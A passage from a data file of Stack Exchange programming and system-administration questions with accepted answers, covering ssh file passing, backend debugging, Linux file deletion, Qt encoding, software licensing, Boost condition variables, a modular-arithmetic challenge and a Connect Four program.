on the local machineI've also tried using source bash . to call the files but I still can't seem to get both local files to pass to the remote machine. Anyone know how this can be done?" , "title": "How can I pass two files through ssh?" , "tags": "bash;ssh;sshpass" , "accepted_answer": "It's a bit difficult to understand what you're really trying to do.If you want to concatenate the content of $sourcelist and $tools/$2 and execute it in Bash, you can use cat with those two files and pipe to ssh like this:cat $sourcelist $tools/$2 | sshpass -e ssh $usrconn@$ipconn " } { "id": "_softwareengineering.229853" , "question": "I feel kind of lost in this backend development process I am attempting right now. Most of the usual development practices I use while developing client-side applications don't apply here... Let me provide some context.The debugging processWhile developing a client side application (iOS, Java desktop app, or whatever), it is easy to quickly setup the project on your favorite IDE, get it running on your machine or a testing device, and debug the hell out of it as much as you like.On the other hand, it's not as trivial to hook a debugger to your backend code, and especially if it is python code running on Google App Engine (GAE). That's what I am using, and ... yeah. Linters and all help A LOT, but still, semantic issues cannot be resolved that way, obviously.I am currently going over my recently written backend code and just burying it with logging.debug('msg') statements, asserts and whatnot. This is the only thing I can think of. Is this normal for backend developers? Does logging and digging through logs usually how backend devs iterate on their applications?Parallelism and request drivenThis might be a bit more specific to GAE and other non-blocking backends, honestly. Single threaded servers don't suffer from this problem... Anyways, so when you are dealing with parallelism and everything is driven by socket events, how do backend developers usually test if their backend works?I did the most naive thing of all time, which is to open python console and using the requests library just send requests and test bit by bit. Then, I went ahead and wrote a kivy app to help me send the requests from a GUI interface and see what is going on, but it's taking more time to maintain the kivy app than develop the backend!! I tried to check for test frameworks for GAE, but they didn't seem easy to get, so I was wondering if they are worth it? Would I be able to simulate 100s of clients using my backend using test frameworks? What do people use these days (For GAE specifically)?Visualizing the flowBecause of my inexperience with backend development, it is surprisingly hard hard for me to keep a clear image of the request/response cycle in my head. I know the basics, I have written a few backend apps, but as soon as it get just a little complex, I have to keep reminding myself where the request goes through by looking at the entry point, and all the steps till the response is made. I am sure if I were able to somehow visualize it, I don't have to keep going back over and over. Instead, I would easily know where a bug would originate, for example, or where is the best place to add a certain feature.In any case, I was wondering if there is some sort of standard thing to design the request flow. I don't know, maybe a UML diagram or something?I tried to sketch it out, but I ended up with a mess. Like, I would sketch the backend design based on the features and requirements, but then the actual logic and model would be left out. Then, I try to include those in the diagram, and it becomes overly complex and cluttered with many weird arrows and boxes. I need something to backend development, like ER diagrams is for relational database design.Yeah, Sorry. I talk a lot, and I am lost in this world. Help?" , "title": "Backend development philosophy" , "tags": "development process;tools;server;server side;google app engine" , "accepted_answer": "Debugging / TESTING!Unit test the heck out of your backend code. It's usually easier than unit testing frontend code, because the code isn't waiting for arbitrary clicks or keypresses. It's all this data comes in, this data goes out. Aggressive unit testing will speed you up phenomenally because you don't have to go all the way back to the start to validate each little bit of code. And then you'll have those tests around as regression testing.There is a TDD (Test-driven development) that says you should write your tests first, and then fill in the code that makes them work. But I can only do that halfway, and claim that I'm using London style. But if that appeals to you, it is a good practice.As a high water mark: in Python, I aim for 100% test coverage & it's pretty easy hitting that.I'm one of those guys who almost never uses a debugger. Rather, I use unit tests to make gurantees about behavior and sensible logging. But that's just my preference.ParallelismMore important to get the thing working at all IMHOVisualizingI find these diagrams essential for my work: sequence diagram, and (less so) ER diagram and state diagramCheck out http://websequencediagrams.com . It will save your life on a complicated project, and even on simple ones really help visualize the client-server interactions.If you draw a sequence diagram, not only will it show the client-server interactions, but every arrow pointing at your service is an API method you must implement. Pretty handy & very direct.Yes, I use ER diagrams for both database design and class design when the data reaches a certain complexity.Sometimes a state diagram can be very useful.My opinion is that backend development is easier than frontend devleopment because I see my job as moving bytes from here to there. But that may be just because I'm really bad at frontend development." } { "id": "_unix.250811" , "question": "If I set the EDITOR environment variable to emacs in bash, running crontab -e will open the crontab in emacs. When I set it in fish with set -U EDITOR emacscrontab opens with vim. What can I do to get crontab to open with emacs?" , "title": "Programs don't see fish environment variables" , "tags": "environment variables;fish" } { "id": "_webapps.95018" , "question": "I have an old and a new Google account to work on Drive. On my old Drive I have a lot of shared folders from customers. Now I don't want to ask all my customers to invite my new account to their folders again.Is there a way I can merge/combine my old account to my new account? I've read this article, but I was hoping there would be a more easy way." , "title": "How to merge/combine two Google Drive accounts?" , "tags": "google drive;google account" } { "id": "_unix.109655" , "question": "I got curious about why not so many people have Solaris in their desktops and laptops. I wonder whether it's a good idea at all, or something just for the absolute geek.Could I maybe give it a try either in an open server online or through a live-cd?What difficulties would I expect to find and what version is good for beginners?" , "title": "Moving to Solaris (from Linux)" , "tags": "solaris" } { "id": "_unix.379100" , "question": "I can't remove /etc/group- -- why not?root@dom:/etc# whoamirootroot@dom:/etc# pwd/etcroot@dom:/etc# rm -f /etc/group-rm: cannot remove /etc/group-: Device or resource busyroot@dom:/etc# fuser -v /etc/group-root@dom:/etc# mountsysfs on /sys type sysfs (rw,nosuid,nodev,noexec,relatime)proc on /proc type proc (rw,nosuid,nodev,noexec,relatime)udev on /dev type devtmpfs (rw,relatime,size=10240k,nr_inodes=2040032,mode=755)devpts on /dev/pts type devpts (rw,nosuid,noexec,relatime,gid=5,mode=620,ptmxmode=000)tmpfs on /run type tmpfs (rw,nosuid,relatime,size=3280816k,mode=755)/dev/sde1 on / type ext4 (rw,relatime,errors=remount-ro,data=ordered)securityfs on /sys/kernel/security type securityfs (rw,nosuid,nodev,noexec,relatime)tmpfs on /dev/shm type tmpfs (rw,nosuid,nodev)tmpfs on /run/lock type tmpfs (rw,nosuid,nodev,noexec,relatime,size=5120k)tmpfs on /sys/fs/cgroup type tmpfs (ro,nosuid,nodev,noexec,mode=755)cgroup on /sys/fs/cgroup/systemd type cgroup (rw,nosuid,nodev,noexec,relatime,xattr,release_agent=/lib/systemd/systemd-cgroups-agent,name=systemd)pstore on /sys/fs/pstore type pstore (rw,nosuid,nodev,noexec,relatime)cgroup on /sys/fs/cgroup/cpuset type cgroup (rw,nosuid,nodev,noexec,relatime,cpuset)cgroup on /sys/fs/cgroup/cpu,cpuacct type cgroup (rw,nosuid,nodev,noexec,relatime,cpu,cpuacct)cgroup on /sys/fs/cgroup/devices type cgroup (rw,nosuid,nodev,noexec,relatime,devices)cgroup on /sys/fs/cgroup/freezer type cgroup (rw,nosuid,nodev,noexec,relatime,freezer)cgroup on /sys/fs/cgroup/net_cls,net_prio type cgroup (rw,nosuid,nodev,noexec,relatime,net_cls,net_prio)cgroup on /sys/fs/cgroup/blkio type cgroup (rw,nosuid,nodev,noexec,relatime,blkio)cgroup on /sys/fs/cgroup/perf_event type cgroup (rw,nosuid,nodev,noexec,relatime,perf_event)systemd-1 on /proc/sys/fs/binfmt_misc type autofs (rw,relatime,fd=22,pgrp=1,timeout=300,minproto=5,maxproto=5,direct)debugfs on /sys/kernel/debug type debugfs (rw,relatime)mqueue on /dev/mqueue type mqueue (rw,relatime)hugetlbfs on /dev/hugepages type hugetlbfs (rw,relatime)fusectl on /sys/fs/fuse/connections type fusectl (rw,relatime)/dev/sda1 on /var type ext4 (rw,relatime,errors=remount-ro,data=ordered)/dev/sdd1 on /opt type ext4 (rw,relatime,errors=remount-ro,data=ordered)/dev/sdc1 on /mediafiles type ext4 (rw,relatime,errors=remount-ro,data=ordered)/dev/sdb1 on /mediafiles/blurays type ext4 (rw,relatime,errors=remount-ro,data=ordered)rpc_pipefs on /run/rpc_pipefs type rpc_pipefs (rw,relatime)tmpfs on /run/user/0 type tmpfs (rw,nosuid,nodev,relatime,size=1640408k,mode=700)tmpfs on /run/user/1000 type tmpfs (rw,nosuid,nodev,relatime,size=1640408k,mode=700,uid=1000,gid=1000)root@dom:/etc# uname -aLinux dom 3.16.0-4-amd64 #1 SMP Debian 3.16.43-2+deb8u2 (2017-06-26) x86_64 GNU/Linuxroot@dom:/etc# lsof +D /etcCOMMAND PID USER FD TYPE DEVICE SIZE/OFF NODE NAMEopenvpn 1855 nobody cwd DIR 8,65 4096 13634055 /etc/openvpnjsvc 2070 root 3r REG 8,65 1649 13634356 /etc/java-8-openjdk/jvm-amd64.cfgjsvc 2070 root 4r REG 8,65 1649 13634356 /etc/java-8-openjdk/jvm-amd64.cfgjsvc 2078 root 3r REG 8,65 1649 13634356 /etc/java-8-openjdk/jvm-amd64.cfgjsvc 2078 root 4r REG 8,65 1649 13634356 /etc/java-8-openjdk/jvm-amd64.cfgjsvc 2079 root 3r REG 8,65 1649 13634356 /etc/java-8-openjdk/jvm-amd64.cfgjsvc 2079 root 4r REG 8,65 1649 13634356 /etc/java-8-openjdk/jvm-amd64.cfgmc 3538 root cwd DIR 8,65 12288 13631489 /etcbash 3547 root cwd DIR 8,65 12288 13631489 /etcmc 5549 root cwd DIR 8,65 12288 13631489 /etcbash 5551 root cwd DIR 8,65 12288 13631489 /etclsof 5928 root cwd DIR 8,65 12288 13631489 /etclsof 5929 root cwd DIR 8,65 12288 13631489 /etcroot@dom:/etc# ls -l /etc/group--rw------- 1 root root 1168 Jul 17 21:53 /etc/group-root@dom:/etc# ls -l /|grep etcdrwxr-xr-x 153 root root 12288 Jul 17 21:57 etcroot@dom:/etc#" , "title": "Debian - cannot delete /etc/group- -- Device or resource busy" , "tags": "debian;files;rm;firejail" } { "id": "_unix.60965" , "question": "Qt applications are deleting non-latin characters from ISO-8859 encoded files on my Gentoo system. Actually I'm trying to merge two German files with KDiff3 and P4Merge (making Whlen out of Whlen). Both tools don't display the Umlauts and when the file is saved, they also disappear in the file. The Dejavu Monospace font is used, Courier New shows the same behavior.If UTF-8 encoded files are presented to the tools, all non-latins are handled correctly.GTK Meld (and all other GTK apps) handles the chars (ISO-8859-1 and UTF-8) quite well. I believe its my Locale configuration, but can't discern what's amiss...Any ideas?Configs: $ locale -a C POSIX de_DE de_DE.iso88591 de_DE.iso885915@euro de_DE.utf8 de_DE@euro deutsch en_US en_US.iso88591 en_US.utf8 german $ locale LANG=en_US.UTF-8 LC_CTYPE=en_US.UTF-8 LC_NUMERIC=en_US.UTF-8 LC_TIME=en_US.UTF-8 LC_COLLATE=C LC_MONETARY=en_US.UTF-8 LC_MESSAGES=en_US.UTF-8 LC_PAPER=en_US.UTF-8 LC_NAME=en_US.UTF-8 LC_ADDRESS=en_US.UTF-8 LC_TELEPHONE=en_US.UTF-8 LC_MEASUREMENT=en_US.UTF-8 LC_IDENTIFICATION=en_US.UTF-8 LC_ALL=Qt use flags for x11-libs/qt-core-4.8.2:4:exceptions glib iconv qt3support ssl (-aqua) -c++0x -debug -icu -pch(-optimized-qmake%) (-qpa%)" , "title": "Encoding Problem: Qt Apps delete all non ASCII chars from files" , "tags": "gentoo;character encoding;locale;qt" } { "id": "_cogsci.7847" , "question": "The term Shiny Object Syndrome is used to describe the tendency to start new ideas without thinking them through, especially in business.Does this phrase represent an actual clinical diagnosis? Are there people who are more likely than others to be distracted by shiny objects? Can shiny objects cause further effects other than distraction?" , "title": "Is there really a Shiny Object Syndrome?" , "tags": "cognitive psychology;attention" } { "id": "_softwareengineering.253968" , "question": "Recently, I was in a situation where I wanted to release a simple piece of JavaScript software under an open source license.However, I withdrew from it because the software contained several open source components that were released under different licenses.Under what license should the bundled software be released (given that various third party components are mixed into the software at code level)?" , "title": "How to release bundled software with different licenses?" , "tags": "licensing" , "accepted_answer": "If parts of the bundle are under licenses that don't allow sublicensing (which is true for the majority of licenses), then you can't distribute that bundle under a single license.The best option in that case is to explicitly state that different parts of the software are distributed under different licenses and to clearly indicate which parts fall under which license (down to identifying individual function if needed).This can also be used if a single file contains parts that are under different licenses.This is under the assumption that the licenses are compatible with each other and that you are thus allowed to distribute the software and that the bundle form one piece of software (it is not just a convenient collection of independent pieces of software).If you have a bundle of independent pieces of software, then that bundle is not considered a work under copyright law and thus doesn't have a copyright of its own." } { "id": "_codereview.96927" , "question": "I would like to create a wrapper for a Boost conditional variable:class Cond_wrap{private: boost::condition_variable cond; boost::mutex mutex; bool work_to_do;public: Cond_wrap() { work_to_do = false; } void notify_all() { boost::mutex::scoped_lock lock(mutex); work_to_do = true; cond.notify_all(); } void wait() { boost::mutex::scoped_lock lock(mutex); while(!work_to_do) { cond.wait(lock); work_to_do = false; } } bool timed_wait(unsigned int timeout) { boost::mutex::scoped_lock lock(mutex); if(!work_to_do) { if(cond.timed_wait(lock, boost::chrono::milliseonds(timeout))) { work_to_do = false; return true; } else { return false; } } else { return false; }};Cond_wrap condition_wrap;void worker_func(){ { condition_wrap.notify_all(); } std::cout << After notify << std::endl;}int main(){ boost::thread work(worker_func); work.detach(); { boost::this_thread::sleep_for(boost::chrono::milliseonds(500)); condition_wrap.wait(); //there is work to do } return 0;}What is the main goal of that wrapper? I would like to avoid a situation in which a condition will be notified before I call waiter. Regarding this, I want to provide a help variable bool which should remember if a condition was previously set.Small example of what I mean:boost::condition_variable cond;boost::mutex mutex;void worker_func(){ cond.notify_all(); std::cout << After notify << std::endl;}void main(){ boost::mutex::soped_lock lock(mutex); boost::thread work(worker_func); boost::this_thread::sleep_for(boost::chrono::milliseonds(500)); cond.wait(lock); // here is deadlock}The wrapper is also provides an easier way of using a Boost conditional variable." , "title": "Boost condition variable wrapper" , "tags": "c++;boost;synchronization" , "accepted_answer": "The short answer here is: don't do this. It does not make boost::condition_variable easier to use. You're actually just limiting what you can do with it. You're not even exposing the entire interface... But if you insist on doing such a thing, your wrapper is close. You're not handling spurious wakeup in timed_wait() - that can return true even without being signaled. You should just take advantage of the fact that the various wait() overloads also take a predicate:void wait(){ boost::mutex::unique_lock lock(mutex); cond.wait(lock, [this]{ return work_to_do; }); work_to_do = false;}bool timed_wait(unsigned int timeout){ boost::mutex::unique_lock lock(mutex); if (cond.timed_wait(lock, boost::chrono::milliseconds(timeout), [this]{ return work_to_do; }) { work_to_do = false; return true; } else { return false; }}Really adding predicates is the way to handle calling wait() after the notify was called. The wrapper is not a good solution to this in my opinion. " } { "id": "_webapps.13664" , "question": "On Youtube's browse page I am shown the most viewed videos in my country. Even if I change my country in the settings, it will still show the same results.I would like to see the most viewed videos of each category without the location bias." , "title": "How to browse videos on Youtube without location bias?" , "tags": "youtube" } { "id": "_codereview.92919" , "question": "Things to deal with this problem.An infinite Arithmetic progression.A prime number. - p.The starting number of an Arithmetic Progression. - a.Common difference in the arithmetic progression given to him. - d.You have to print the first index of a number in that Arithmetic Progression, which is a multiple of the given prime number, p.Input format: The first line contains a number, tc, denoting the number of test cases. After that follow tc number of test cases, each is 2 lines - the first contains two integers, a and d - a depicts the first term in the AP, d depicts the common difference. The next line contains the prime number.Output format: You have to print the FIRST index (0-based) of the multiple of the given prime number in the given AP. If no such element exists in this infinite AP, then print -1.Constraints: 0 <= a, d, <= 10^18 1 <= p <= 10^9My code: public static void main(String[] args) throws NumberFormatException, IOException{StringBuilder output = new StringBuilder(); BufferedReader reader= new BufferedReader(new InputStreamReader(System.in)); int noOfTestCaseT=Integer.parseInt(reader.readLine().trim()); while (noOfTestCaseT != 0){ noOfTestCaseT--; String[] inputAandD = reader.readLine().split( ); long firstElement = Long.parseLong(inputAandD[0].trim()); long commonDifference = Long.parseLong(inputAandD[1].trim()); long primeNo = Long.parseLong(reader.readLine().trim()); firstElement %= primeNo; commonDifference %= primeNo; int result = 0; if(commonDifference == 0) output.append(-1); else if (firstElement == 0) output.append(0); else{ long inverseMod = getPowerValue(commonDifference, primeNo); result = (int) ((inverseMod * (primeNo-firstElement)) % primeNo) ; output.append(result); } output.append(\\n); } System.out.println(output); } private static long getPowerValue(long base, long primeNo) { long exp = primeNo -2; long powerResult = 1; while (exp > 0){ if ((exp & 1) == 1) powerResult = (powerResult * base) % primeNo; base = (base * base) % primeNo; exp = exp >> 1 ; } return powerResult; }How could I can optimize this code further so that its performance improves (though the solution is within the given time limit and I really want to know what are the possible improvement I can make)?" , "title": "First index of number in the arithmetic progression (which is multiple of prime)" , "tags": "java;performance;programming challenge" , "accepted_answer": "Time elapsed is almost all in overheadI'm not sure you can do any better than what you've done. I tested your program and it ran extremely fast. In fact, I determined that most of the time was probably being spent bringing up the JVM. I ran your program with varying test inputs (up to 100000 test case input), and also ran your program without computing the result (just reading the input and outputting one number per test case). The timings showed that most of the time was being spent just bringing up the JVM (or some other Java related overhead):100000 test case (times are in seconds)0.14: bringing up the JVM0.19: parsing the input and generating output0.12: calculating the answer0.45: total time100 test case0.14: bringing up the JVM0.02: parsing the input and generating output0.01: calculating the answer0.17: total timeSo I believe that your actual algorithm runs for about 0.01 seconds out of 0.17 total time.C program was faster (less overhead?)I converted your program to C and tested it to see if it would run any faster. It did run faster, probably because of the lack of overhead:100000 test case (C program)0.29: total time100 test case (C program)0.01: total timeHere is the C program, just to show you that it is exactly the same as your java program:#include <stdio.h>static long long getPowerValue(long long base, long long primeNo);int main(void){ int noOfTestCaseT = 0; long long firstElement, commonDifference, primeNo; scanf(%d, &noOfTestCaseT); while (noOfTestCaseT != 0){ noOfTestCaseT--; scanf(%lld %lld %lld, &firstElement, &commonDifference, &primeNo); firstElement %= primeNo; commonDifference %= primeNo; if(commonDifference == 0) puts(-1\\n); else if (firstElement == 0) puts(0\\n); else { long long inverseMod = getPowerValue(commonDifference, primeNo); int result = (int) ((inverseMod * (primeNo-firstElement))%primeNo); printf(%d\\n, result); } } return 0;}static long long getPowerValue(long long base, long long primeNo){ long long exp = primeNo -2; long long powerResult = 1; while (exp > 0){ if ((exp & 1) == 1) powerResult = (powerResult * base) % primeNo; base = (base * base) % primeNo; exp = exp >> 1 ; } return powerResult;}A slightly faster inverse mod functionFrom wikipedia, I copied this algorithm for finding the inverse mod. Supposedly, it is slightly faster than the algorithm you are using. Using the 100000 test case input, I found that it was a little bit faster, but not by much (maybe 10% faster). Here is the function (it replaces your getPowerValue function):private static long inverse(long a, long n){ long t = 0; long newt = 1; long r = n; long newr = a; while (newr != 0) { long quotient = r / newr; long tmp; tmp = newt; newt = t - quotient * newt; t = tmp; tmp = newr; newr = r - quotient * newr; r = tmp; } if (t < 0) t += n; return t;}" } { "id": "_softwareengineering.231871" , "question": "Can you recommend a nice way of checking a particular value between calls to a set of functions?E.g. something like this in Python (might not be terribly 'Pythonic'):self.error_code = 0 # this will be set by each function if an error has occurredself.function_list = [self.foo, self.bar, self.qux, self.wobble]...def execute_all(self): while not self.error_code and self.function_list: func = self.function_list.pop() # get each function func(error_code) # call it if self.error_code: # do somethingThe idea is that subsequent functions won't be called if self.error_code is set and all functions will be called in order if all is good.Anyone can think of a better alternative to that in Python or maybe a language-agnostic approach?I want to avoid having that code in each function call (e.g. if self.error code: return) so that I don't end up with the same check across all functions." , "title": "Check some value between each function call" , "tags": "python;coding style;error handling;method chaining" } { "id": "_webmaster.100464" , "question": "I went into adsense today with my usual opera browser. Things were good until I saw this new blue pop-up with a white box that showed take a look. I clicked on it and it showed a new page with an error message in the background and in the foreground an orange box. I switched to firefox, and more things came up but the side panel contained no text. Now I want to revert to the old adsense so I can access all my settings without trying to figure out each word.Is there a way to revert it?" , "title": "How to revert to old google adsense interface" , "tags": "google adsense" , "accepted_answer": "For now it is possible to revert. Click on the hamburger menu (top left) and then at the bottom of the menu there is Back to previous AdSense. At some point Google will force you to use the new only.Google designed the new AdSense interface according to material design principles. On the plus side, the new interface is much better on mobile devices. I like the feature on the home page where you can hide the info you don't want to see on a daily basis.I don't like several things about it: They recently change the homepage numbers to be like 8.19K impressions which I find hard to digest. They also took away the 28 day comparison which is the thing I look at most frequently." } { "id": "_softwareengineering.304357" , "question": "I'm planning to open source an Android app that I developed against the API of a (small regional) social network.This app is the 'official' version for the website and thus allowed to use the logo and name of the website.I plan to open source it under the GPL, but:I cannot put the logo or name under the GPL (I don't own the rights)I plan to integrate icons from the Android Material Design Icon library (Creative Commons)Is there any proper way to do this while keeping everything in a single repository on Github?(Given that the app is free I can't exactly consult a lawyer.)" , "title": "Integrate non-free (with permission) / differently licenced logos in GPL repository" , "tags": "licensing;open source;gpl;android;creative commons" } { "id": "_softwareengineering.72740" , "question": "This is a sister question to: Is it bad to use Unicode characters in variable names?As is my wont, I'm working on a language project. The thought came to me that allowing multi-token identifiers might improve both readability and writability:primary controller = new Data Interaction Controller();# vs.primary_controller = new DataInteractionController();And whether or not you think that's a good idea*, it got me musing about how permissive a language ought to be about identifiers, and how much value there is in being so.It's obvious that allowing characters outside the usual [0-9A-Za-z_] has some advantages in terms of writability, readability, and proximity to the domain, but also that it can create maintenance nightmares. There seems to be a consensus (or at least a trend) that English is the language of programming. Does a Chinese programmer really need to be writing when email_address is the international preference?I hate to be Anglocentric when it comes to Unicode, or a stickler when it comes to other identifier restrictions, but is it really worth it to allow crazy variable names?tl;dr: Is the cost of laxity higher than the potential benefit?Why or why not? What experiences and evidence can you share in favour of or opposed to relaxed restrictions? Where do you think is the ideal on the continuum?* My argument in favour of allowing multi-token identifiers is that it introduces more sane points to break long lines of code, while still allowing names to be descriptive, and avoiding ExcessiveCamelCase and a_whole_lot_of_underscores, both of which are detrimental to readability." , "title": "How permissive should a language be about identifiers?" , "tags": "programming languages;language design;naming" , "accepted_answer": "That's rather hard to say. More permissive grammars are more difficult to parse. Ruby's optional parentheses are a good example of this. The lack of extant languages with this feature may not prove that it's a bad idea, but it doesn't help validate it either. There isn't much else to go on.If you think it's a good idea and it's relatively easy to execute, why not go ahead and do it? That's the only real way to get a definitive answer to questions like this." } { "id": "_softwareengineering.264910" , "question": "Graphics processing units (GPUs) are very common and allow for efficient, parallel processing of floating point numbers.PPUs (Physics Processing Units) used to be a buzzword several years ago but never really caught on and this kind of calculation is now handled by GPUs as well.Both of these types of hardware are specialized in the processing of a specific kind of data.Looking at the kinds of applications being developed worldwide, it seems that a great many of them have to do with text processing. Particularly when web development is considered.It seems to me that it would make sense to implement basic string operations (concatenation, reversal, maybe search, character-level operations such as replacement) at hardware level, possibly making those operations orders of magnitude faster than they are when performed on a typical CPU.Does this sort of hardware exist? If it doesn't, what makes it infeasible? Varying length? Arbitrary encoding? I believe these are a bit similar to what we've got in case floating point numbers (varying precision, different encodings possible).I know some vendors sell devices specifically designed to handle text processing/search. The Google Search Appliance is an example thereof but as far as I know, it's just a normal computer with dedicated software and the hardware does not feature anything as exotic as a processor specifically design to crunch text." , "title": "Hardware accelerated text processing" , "tags": "hardware;cpu;text processing;gpu" , "accepted_answer": "(Disclaimer: I don't have information on the percentages of occurrence of various elementary string operations found in common software. The following answer is just my two cents of contribution to address some of your points.)To give a quick example, Intel provides SIMD instructions for accelerating string operations in its SSE 4.2 instruction set (link to wikipedia article). Example of using these instructions to build useful language-level string functions can be found on this website.What do these instructions do?Given a 16-byte string fragment (either 16 counts of 8-bit characters or 8 counts of 16-bit characters), In Equal Each mode, it performs an exact match with another string fragment of same length.In Equal Any mode, it highlights the occurrence of characters which match a small set of characters given by another string. An example is aeiouy, which detects the vowels in English words.In Range comparison mode, it compares each character to one or more character ranges. An example of character range is azAZ, in which the first pair of characters specifies the range of lower-case English alphabets, and the second pair specifies the upper-case alphabets.In Equal ordered mode, it performs a substring search. (All examples above are taken from the above linked website, with some paraphrasing.)Before beginning a discussion on this topic, it is necessary to gather the prerequisite knowledge needed for such discussion.It is assumed that you already have college-level introductory knowledge of:CPU architectureDigital design and synthesis, which teaches introductory level of Hardware Description Language, such as Verilog or VHDL.And finally, a practicum project where you use the above knowledge to build something (say, a simple 16-bit ALU, or a multiplier, or some hardware input string pattern detection logic based on state machine), and perform a cost counting (in logic gates and silicon area) and benchmarking of the things being built.First of all, we must revisit the various schemes for the in-memory representation of strings. This is because the practicum in hardware design should have informed you that a lot of things in hardware had to be hard-wired. Hardware can implement complex logic but the wiring between those logic are hard-wired.My knowledge in this aspect is very little. But just to give a few examples, rope, cord, twine, StringBuffer (StringBuilder) etc. are all legit contenders for the in-memory representation of strings.Even in C++ alone, you still have two choices: implicit-length strings (also known as null-terminated strings), and explicit-length strings (in which the length is stored in a field of the string class, and is updated whenever the string is modified).Finally, in some languages the designer has made the decision of making string objects immutable. That is, if one wish to modify a string, the only way to do so is to:Copy the string and apply the modification on-the-fly, orRefer to substrings (slices) of the original immutable string and declare the modifications that one wish to have applied. The modification isn't actually evaluated until the new result is consumed by some other code.There is also a side question of how strings are allocated in memory.Now you can see that, in software, a lot of wonderful (or crazy) design choices exist. There has been lots of research into how to implement these various choices in hardware. (In fact, this has been a favorite way of formulating a master's thesis for a degree in digital design.)All this is fine, except that due to economic reasons, a hardware vendor cannot justify the cost of supporting a language/library designer's crazy ideas about what a string should be.A hardware vendor typically has full access to every master's thesis written by every student (in digital design) in the world. Thus, a hardware vendor's decision of not including such features must be well-informed.Now let's go back to the very basic, common-sense question: What string operations are among the most-frequently performed in the typical software, and how can they benefit from hardware acceleration?I don't have hard figures, but my guess is that string copying verbatim is probably the #1 operation being performed.Is string copying already accelerated by hardware? It depends on the expected lengths of strings. If the library code knows that it is copying a string of several thousand characters or more, without modification, it could have easily converted the operation into a memcpy, which internally uses CPU SIMD (vectorized instructions) to perform the memory movement.Furthermore, on these new CPU architectures there is the choice of keeping the moved string in CPU cache (for subsequent operations) versus removing it from the CPU cache (to avoid cache pollution).But how often does one need to copy such long strings?It turns out that the standard C++ library had to optimize for the other case:https://stackoverflow.com/questions/21694302/what-are-the-mechanics-of-short-string-optimization-in-libcThat is, strings with lengths in the low-ten's occur with such high frequency that special cases have to be made to minimize the overhead of memory management for these short strings. Go figure." } { "id": "_softwareengineering.147149" , "question": "I am recently building a basic ray tracer in C# from scratch, as a learning/teaching project. A previous release of the project (let's call it A) does reflections and diffuse shading. The program renders the scene at around 900ms. Now I've just made a release B which adds specular highlights. Naturally, I assumed rendering time would increase. Imagine my surprise when the same scene rendered in a speedy 120ms! The results are absolutely the same (since the objects in the scene don't actually have specular highlights). Curious, I tried to narrow down what part of the code is actually making it faster. I think I've narrowed it down to a calculation that is made in both the reflection component, and the specular component (calculating the reflection vector). For each iteration of the ray tracing, both calculate the same vector (same inputs, same output), but there is no data sharing between the two. So I was wondering if C# is somehow caching the results which would account for the performance increase?Here's the code for the reflection renderingprivate Color TraceReflection(Ray ray, Vector3D normal, Vector3D hitPoint, IPrimitive hitObject, int Level) { //Calculate reflection direction var reflectionDir = (ray.Direction - (2 * (ray.Direction * normal) * normal)).Normalize(); //Create reflection ray from just outside the intersection point, and trace it var reflectionRay = new Ray(hitPoint + reflectionDir * Globals.Epsilon, reflectionDir); //Get the color from the reflection var reflectionColor = RayTrace(reflectionRay, Level + 1); //Calculate final color var resultColor = reflectionColor * hitObject.PrimitiveMaterial.ReflectionCoeff; return resultColor; }And here's the specular highlight function:public Color GetColor(IPrimitive HitObject, ILight Light, Vector3D ViewDirection, Vector3D LightDirection, Vector3D Normal) { //Caulcate reflection vector var reflectionDirection = (LightDirection - (2 * LightDirection * Normal) * Normal).Normalize(); var dot = reflectionDirection * ViewDirection; //if the dot product is zero or less that means the angle between the two vectors is 90 or more and no highlighting occurs. if (dot > 0) { var specularPower = HitObject.PrimitiveMaterial.SpecularCoeff * Math.Pow(dot, HitObject.PrimitiveMaterial.SpecularExponent); var highlightColor = HitObject.PrimitiveMaterial.DiffuseColor * specularPower; return highlightColor; } return new Color(); }UPDATEThe previous numbers were when both programs were running in debug mode. I just switched them both to release, and the numbers are what I was expecting them to be in the first place (270ms without specular. 380ms with specular). So it seems the debug mode, somehow, is the culprit." , "title": "Does C# Cache Calculation Results?" , "tags": "c#;caching" , "accepted_answer": "It's entirely possible that, in debug mode, the compiler is much more relaxed about when and where it optimizes code - so that your non-specular implementation is compiled as a significantly less optimized executable (since it's not doing that badly), while the specular implementation hits a threshold and is bumped to a slower but more optimized compilation mode." } { "id": "_webmaster.17880" , "question": "I know how to do this in an Apache2 config file and my own DNS configuration... But here I'm forced to host the site at Google Apps and the DNS at Goddady.com. What's the easiest way to alias example.com to www.example.com in this situation? I'm sure I need a forwarding mechanism. Without introducing an intermediary Apache server just for this purpose, if at all possible.." , "title": "When using Google Sites with a Godaddy domain, how do you alias example.com to www.example.com?" , "tags": "301 redirect;godaddy;google apps;no www" } { "id": "_webapps.101247" , "question": "How can I find all Google Docs documents shared with me that I didn't add to My Drive yet?I can do it one by one (right click on a document in Shared With Me folder. If it has Move to My Drive menu option, it wasn't added yet, otherwise it did).But this is slow and inefficient, especially if I have lots of documents shared with me but very few that aren't in My Drive already.Is there an efficient way to filter all Google Docs documents shared with me that I didn't add to My Drive yet?" , "title": "How can I find all Google Docs documents shared with me that I didn't add to My Drive yet?" , "tags": "google drive;search" } { "id": "_codereview.148171" , "question": "I wrote this program as an assignment for an introductory programming course in Java, which I then decided to improve past the minimum assignment requirements. It allows two human players to play Connect Four. (If you don't know this game, its rules are explained in the code below.)I would appreciate any feedback such as feature suggestions, bug fixes, optimizations, or other improvements!/*ConnectFourby JugheadNovember 27th, 2016This program lets two human players play Connect Four.*/import java.util.Scanner;public class ConnectFour { public static void main(String[] args) { int turnAlternator, turnNumber, match, player, player1Wins, player2Wins; final int NUMBER_OF_ROWS, NUMBER_OF_COLUMNS, MINIMUM_CHAIN_TO_WIN; String player1GamePiece, player2GamePiece; boolean gameOver; String[][] gameBoard; Object [] gameOverAndPlayer1WinsAndPlayer2Wins; //Object array of following variables: gameOver, player1Wins, and player2Wins. System.out.println( ____ ___ _ _ _ _ _____ ____ _____ _____ ___ _ _ ____ \\n / ___/ _ \\\\| \\\\ | | \\\\ | | ____/ ___|_ _| | ___/ _ \\\\| | | | _ \\\\ \\n + | | | | | | \\\\| | \\\\| | _|| | | | | |_ | | | | | | | |_| |\\n| |__| |_| | |\\\\ | |\\\\ | |__| |___ | | | _|| |_| | |_| | _ | \\n + \\\\____\\\\___/|_| \\\\_|_| \\\\_|_____\\\\____| |_| |_| \\\\___/ \\\\___/|_| \\\\_\\\\\\n\\n + Connect Four is a two-player connection game in which the players\\nfirst choose a colour and then take turns dropping colored discs\\nfrom the top into a seven-column, six-row grid. + The pieces fall\\nstraight down, occupying the next available space within the 